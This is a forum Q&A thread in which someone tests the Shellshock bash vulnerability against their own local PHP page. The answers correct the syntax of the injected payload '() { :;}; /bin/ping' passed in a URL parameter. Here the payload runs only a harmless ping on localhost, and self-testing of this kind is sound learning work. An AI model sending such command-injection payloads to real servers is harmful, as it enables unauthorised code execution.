I have been trying to test shellshock vulnerability on PHP similar to this answer. I am running Apache server with PHP running as mod_php. The PHP version is 5.3.10.

I have a phpfile (phptest.php):


  function getLang() 
    if (isset($_GET["lang"]) && !empty($_GET["lang"])) 
      $lang = $_GET["lang"]; 
    return $lang; 
  $language = getLang(); 

  system("env | grep LANGUAGE");


I tried to access the page via the browser as follows:

localhost/phptest.php?lang=(){:;}; /bin/ping http://localhost

In the linked question, the wget is to the dev's IP, but I just decided to do a ping to see I can test it.

The browser shows the output as follows:

LANGUAGE=(){:;}; /bin/ping http://localhost 

I tried to monitor the ping using the following (from this question):

 sudo tcpdump -i lo icmp and icmp[icmptype]=icmp-echo

I didn't see any request. Can someone tell what do I need correct in my test ?

  • Try ping instead. Oct 10, 2015 at 11:57

2 Answers 2


Asuming that this injection basicly works:

localhost/phptest.php?lang=(){:;}; /bin/ping http://localhost

Your problem is related to the command you try to inject. Ping accepts a hostname as a parameter. But you injected http://localhost as a parameter which is a url and cant be accepted by the ping command. It must be ping localhost instead of ping http://localhost.

  • Nope it didn't work. I will check the injection again.
    – Jake
    Oct 12, 2015 at 18:20

I figured out the problem. Changing to /bin/ping did help, but there was another subtle change to be made.

There needs to be one space between ) & {, and another space between { & :. The revised request was:

localhost/phptest.php?lang=() { :;}; /bin/ping

Source for answer was this link.

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .